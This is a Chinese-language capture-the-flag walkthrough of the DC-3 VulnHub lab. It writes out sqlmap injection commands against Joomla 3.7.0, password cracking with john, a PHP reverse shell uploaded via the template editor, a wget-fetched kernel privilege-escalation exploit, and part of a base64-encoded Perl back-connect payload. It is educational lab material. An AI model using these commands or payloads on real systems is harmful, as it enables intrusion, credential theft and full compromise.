DC-3靶场搭建及渗透实战详细过程(DC靶场系列)

目录

一. 信息收集

1. 主机扫描

2. 端口扫描 

3. 目录扫描

4. web页面信息探测

二. 漏洞找查

1. joomscan

2. searchsploit

三. 漏洞利用

1. SQL注入

2. 密码爆破

3. 反弹shell

4. Get交互shell

四. Linux提权

1. 确定操作系统信息

2. 搜索操作系统漏洞

3. 利用exp提权

4. 找查flag

五. 收获总结

1. joomscan

2. searchsploit

3. john

4. PHP反弹shell

5. Linux的一些命令

6. Linux系统信息文件


DC-3靶场下载地址http://www.five86.com/downloads/DC-3-2.zip

搭建过程和DC-1一样,将kali跟DC-3放同一网段即可

一. 信息收集

1. 主机扫描

arp-scan -l

DC-3靶场搭建及渗透实战详细过程(DC靶场系列)_第1张图片

探测到dc-3主机

2. 端口扫描 

nmap -A -p- 192.168.120.132

-sV只扫描端口及其版本号

-A扫描端口的详细信息

DC-3靶场搭建及渗透实战详细过程(DC靶场系列)_第2张图片

80端口可用,还将该端口的详细信息给出了,用的是Joomla的cms

3. 目录扫描

dirsearch -u 192.168.120.132 -e * -i 200

-i 状态码

只显示该状态码

-x 状态码

不显示该状态码

DC-3靶场搭建及渗透实战详细过程(DC靶场系列)_第3张图片

4. web页面信息探测

DC-3靶场搭建及渗透实战详细过程(DC靶场系列)_第4张图片

原页面给了个提示,还有个用户登入框在 

DC-3靶场搭建及渗透实战详细过程(DC靶场系列)_第5张图片

确定了cms的版本 

DC-3靶场搭建及渗透实战详细过程(DC靶场系列)_第6张图片

找到后台登入框


二. 漏洞找查

1. joomscan

joomscan是一款开源的且针对joomla的扫描器,kali可以用命令apt install joomscan安装该工具

joomscan -u 192.168.120.132

DC-3靶场搭建及渗透实战详细过程(DC靶场系列)_第7张图片

扫描出了cms的版本,还有一些目录跟后台登入界面,前面的信息收集里我们也是知道了的

2. searchsploit

searchsploit是一款kali自带的搜索漏洞信息的模块,可参考searchsploit漏洞查找工具使用指南

searchsploit joomla 3.7.0

当前cms存在SQL注入的漏洞,还有跨站扫描漏洞,我们看一下SQL注入的,该漏洞的完整path是

/usr/share/exploitdb/exploits/php/webapps/42033.txt

拷贝漏洞的详细信息到桌面,cp 要拷贝的文件 拷贝后的文件

cp /usr/share/exploitdb/exploits/php/webapps/42033.txt /root/桌面/42033.txt

在桌面打开该文件

DC-3靶场搭建及渗透实战详细过程(DC靶场系列)_第8张图片

给出了注入点


三. 漏洞利用

1. SQL注入

利用sqlmap进行自动化注入,萌新可参考Sqlmap常用命令总结

  • 列出所有数据库
sqlmap -u "http://192.168.120.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --batch --dbs

--dbs列出所有数据库

DC-3靶场搭建及渗透实战详细过程(DC靶场系列)_第9张图片

  • 列出指定数据库的所有表
sqlmap -u "http://192.168.120.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --batch -D joomladb --tables

-D 指定数据库,当数据库名含有特殊符号的时候,需要用引号包括起来

--tables 列出表

DC-3靶场搭建及渗透实战详细过程(DC靶场系列)_第10张图片

  • 查看所有字段
sqlmap -u "http://192.168.120.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb -T '#__users' --columns

表名含有特殊符号,需要用引号包括

这里就不能用--batch参数了,会默认使用公共参数爆破给N掉,导致注入失败,根据提示,手工输入y并回车即可

DC-3靶场搭建及渗透实战详细过程(DC靶场系列)_第11张图片

  • 查看用户名与密码
sqlmap -u "http://192.168.120.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb -T '#__users' -C username,password --dump

$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

密码是加密过的,没有加密函数只能爆破密码了

2. 密码爆破

利用John工具,对该密码进行爆破拆解,工具详细信息参考John介绍及常用命令使用说明

先在桌面创建一个文件,将上面的hash密码复制进去并保存,接着使用john指向该文件

john /root/桌面/passwd 

DC-3靶场搭建及渗透实战详细过程(DC靶场系列)_第12张图片

不一会儿就爆破出来了,密码是snoopy,登入后台

DC-3靶场搭建及渗透实战详细过程(DC靶场系列)_第13张图片

3. 反弹shell

探索后台管理员系统,发现了文件上传的点位,在beez3模块里

http://192.168.120.132/administrator/index.php?option=com_templates&view=template&id=503&file=aG9tZQ==

DC-3靶场搭建及渗透实战详细过程(DC靶场系列)_第14张图片

貌似有文件上传过滤,但是我们可以自己创建一个文件,写入木马 也可以直接反弹shell

DC-3靶场搭建及渗透实战详细过程(DC靶场系列)_第15张图片

将PHP反弹shell代码复制进去(网上随便找一个,文章后面总结也有,设置好目标ip跟端口就行)

DC-3靶场搭建及渗透实战详细过程(DC靶场系列)_第16张图片

保存就上传好啦,再根据joomla的特性,模块会单独放在一个文件夹里/templates/,而beez3模块就在/templates/beez3/里面,刚才创建的webshell路径为

http://192.168.120.132/templates/beez3/webshell.php

kali监听8888端口

nc -lvvp 8888

接着我们去访问webshell地址,执行反弹shell的php代码,回到监听端口的终端

反弹shell成功

4. Get交互shell

跟DC-1一样,利用python获取交互shell

python -c 'import pty; pty.spawn("/bin/bash")'

DC-3靶场搭建及渗透实战详细过程(DC靶场系列)_第17张图片

 交互shell获取成功,但是还不是root权限


四. Linux提权

1. 确定操作系统信息

这儿不能用suid和git提权,得换种方法,先查看操作系统版本信息可参考

查看Linux当前操作系统版本信息常用命令  ,以寻找提权漏洞突破口

tac /etc/issue

cat /proc/version

得到操作系统与其版本

2. 搜索操作系统漏洞

继续使用searchsploit工具搜索漏洞 ,打开另一个终端

searchsploit Ubuntu 16.04

DC-3靶场搭建及渗透实战详细过程(DC靶场系列)_第18张图片

Privilege Escalation(提权),这里我们使用通用4.4.x版本的提权方式,完整path

/usr/share/exploitdb/exploits/linux/local/39772.txt 

利用cp命令拷贝到桌面

cp /usr/share/exploitdb/exploits/linux/local/39772.txt /root/桌面/39772.txt

打开该文件

DC-3靶场搭建及渗透实战详细过程(DC靶场系列)_第19张图片文本写的是漏洞产生的原因、描述和漏洞利用的方法,还附上了exp,就是最后一行的连接

https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

3. 利用exp提权

接着我们下载该压缩包并放到kali桌面里,解压该文件,然后在桌面开启http服务,将下载好的文件导入到DC-3靶机里

python3 -m http.server 8888

DC-3靶场搭建及渗透实战详细过程(DC靶场系列)_第20张图片

浏览器访问一下开启的http服务

DC-3靶场搭建及渗透实战详细过程(DC靶场系列)_第21张图片

出现这个说明服务开启成功,exp地址是

http://192.168.120.129:8888/39772/39772/exploit.tar

回到我们的虚拟终端,利用wget命令下载该工具

wget http://192.168.120.129:8888/39772/39772/exploit.tar

DC-3靶场搭建及渗透实战详细过程(DC靶场系列)_第22张图片下载完后用tar命令解压该压缩包

tar -xvf exploit.tar

DC-3靶场搭建及渗透实战详细过程(DC靶场系列)_第23张图片 接着cd进入解压后的文件夹

cd ebpf_mapfd_doubleput_exploit

 根据文本提示

DC-3靶场搭建及渗透实战详细过程(DC靶场系列)_第24张图片

执行下两个文件,Linux系统下.(点)是执行某个文件的意思

./compile.sh

DC-3靶场搭建及渗透实战详细过程(DC靶场系列)_第25张图片

./doubleput

DC-3靶场搭建及渗透实战详细过程(DC靶场系列)_第26张图片

提权成功!!!

4. 找查flag

接着用find命令找查flag

find / -name *flag*

DC-3靶场搭建及渗透实战详细过程(DC靶场系列)_第27张图片

发现可疑文件,tac命令打开该文件

tac /root/the-flag.txt

DC-3靶场搭建及渗透实战详细过程(DC靶场系列)_第28张图片

拿到最终flag

DC-3靶场搭建及渗透实战详细过程(DC靶场系列)_第29张图片


五. 收获总结

1. joomscan

针对joomla开发的漏洞扫描器

joomscan -u [要攻击的IP或URL]

2. searchsploit

漏洞查找工具,可以通过操作系统或cms的版本号搜索到相应漏洞,通过查看说明即可找到漏洞利用方法

searchsploit [CMS或操作系统] [CMS或操作系统的版本号]

3. john

针对hash的密码爆破工具

john [含有密文的文件名]

4. PHP反弹shell

'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?> 

5. Linux的一些命令

  • cp        ——文件复制命令
cp [源文件] [新文件]
  • wget        ——远程文件下载命令
wget [文件的URL]
  • tar        ——文件压缩、解压命令

tar命令参考, tar 解压缩命令详解,以压缩tar后缀文件为例

tar -xvf [tar文件]

6. Linux系统信息文件

  • /etc/issue
  • /proc/version

更多查看系统信息的操作可参考查看Linux当前操作系统版本信息常用命令 

你可能感兴趣的:(VulnHub之DC系列靶场机,web安全,linux,渗透测试)